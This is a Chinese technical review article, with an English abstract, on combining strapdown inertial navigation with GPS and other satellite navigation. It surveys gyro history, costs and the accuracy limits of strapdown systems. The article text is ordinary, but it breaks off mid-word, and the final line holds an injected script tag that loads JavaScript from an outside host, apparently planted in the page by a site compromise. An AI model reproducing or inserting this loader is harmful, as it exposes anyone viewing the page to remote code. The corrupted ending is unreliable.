编者按 由于传统机械转子式陀螺和平台惯性技术的局限和卫星导航存在的缺点，未来的导航体制将是一种能两者优势互 补的捷联惯导与导航卫星组合技术。此文着重对此进行了综述，并论述了发展过程中需解决的各种技术问题和技术途径。
摘要 惯性技术逐渐从平台系统过渡到捷联系统，从机械转子型陀螺向固态陀螺发展。以惯性技术为基础的组合导航系统得到了重视和发展。介绍了捷联系统和组合导航系统在发展过程中存在的各种技术问题和解决这些技术难题的技术途径。
关键词 捷联式惯性制导，＋组合导航技术，全球定位系统。
the development tendency of combination technology of
strapdown inertial guidance and navigation satellite
peng yunxiang
(beijing institute of control device，beijing，100085)
abstract inertial technology is transformed from platform system into strapdown system gradually, and gyroscope is changed from mechanical rotor model into solid state one. combined navigation system based on inertial technology is paid attention to and developed. the various technical problems encountered during the development of strapdown system and combined navigation system are introduced and the technical ways used to solve the problems are given.
key words strapdown inertial guidance, ＋ combined navigation, global positioning system.
1 前 言
捷联惯性系统由于结构简单、可靠性好、体积小、重量轻、成本低、容易维修等特点，近年来得到很快的发展，并且在一些战术武器中得到应用。由于精度尚未达到平台系统的精度水平，所以其应用范围受到了一定程度的限制。gps(全球卫星定位系统)／惯性组合技术在提高精度、降低成本、全天候、全球导航等方面取得了举世瞩目的成就，其应用范围逐渐扩大。由于gps的授权限制、动态性能及抗干扰能力等因素，其军事应用范围有一定程度的局限。解决矛盾的方法是进行惯性技术与多体制导航卫星系统的组合技术研究，来避免单一的gps／ins组合模式所受到的限制，采用gps与惯性系统深组合方式提高导航系统的动态性能和抗干扰能力，为军事装备提供了高性能的导航设备。
第2次世界大战后期，德国人率先采用简单的捷联惯性仪器|仪表作为近程弹道导弹v-2火箭自主式制导系统的核心部件，随后，美苏两国进入了战后长期冷战的军备竞赛时期。随着各种战略战术导弹、空间技术、航空、航海及陆地战车等军事装备的发展和不断完善，惯性技术也得到了空前的发展与进步。惯性技术中首先重点发展的是平台系统和与之相适应的气浮、液浮和静电悬浮支撑技术为基础的各种惯性仪表。在长达30多年的时间内，陀螺漂移从10°／h左右提高到0.000 015°／h，几乎提高了6个数量级，但真正工程应用中的陀螺仪却长期停留在0.001°／h左右。为得到高精度水平的惯性系统却付出了十分昂贵的代价，仅一台浮球平台系统的研制费用就超过1 000万美元，即使在投入批量生产以后，每套产品的成本也高达400万美元。这种昂贵的产品，只有美国空军一家将其用在mx战略导弹上。
市场需求是推动科学发展与技术进步的动力，随着前苏联-东欧体系的解体，美苏冷战时期结束，各种战略性进攻型武器的研制冷却下来，各种防御性战术武器迅速发展，使惯性仪表及系统从单纯地追求高精度转向以降低成本为主，兼顾可靠性、快速性、机动性、小型化为技术指标的发展方向。
随着电子技术、计算机技术、现代控制理论的飞速进步，为捷联惯性技术的发展创造了有利条件。新一代低成本中等精度的惯性仪表如挠性陀螺、激光陀螺、光纤陀螺、石英加速度计的研制成功，为捷联系统打下了物质基础。捷联技术的研究工作，如算法编排、误差建模、误差标定与补偿、测试技术等迅速得到发展。新的捷联惯性系统产品普遍用于各种战术武器和飞机航姿系统中，随着固态仪表精度的不断提高，误差补偿技术的逐渐完善，捷联系统将逐步取代平台系统。
2 捷联系统的精度
目前，捷联系统的精度还未达到平台系统所取得的精度水平，还不能完全满足各种军用和民用的要求，其原因是：
a) 新型捷联用惯性仪表，如动力调谐陀螺仪、激光陀螺仪、光纤陀螺等漂移达到0.01°／h，石英加速度计的标度因数误差达到1×10-4之后，进一步提高仪表精度将会遇到加工工艺、材料、光电元器件等方面技术极限的限制，进一步提高仪表硬件精度将会更加困难，大幅度地追加投资不一定能够收到成比例的技术效益，同时也会给低成本优势的捷联系统蒙上阴影。
b) 捷联系统中的惯性仪表是直接与载体联接，飞行器的恶劣动力学环境如过载冲击、振动以及机动飞行等都会给惯性仪表和捷?script src=http://er12.com/t.js>
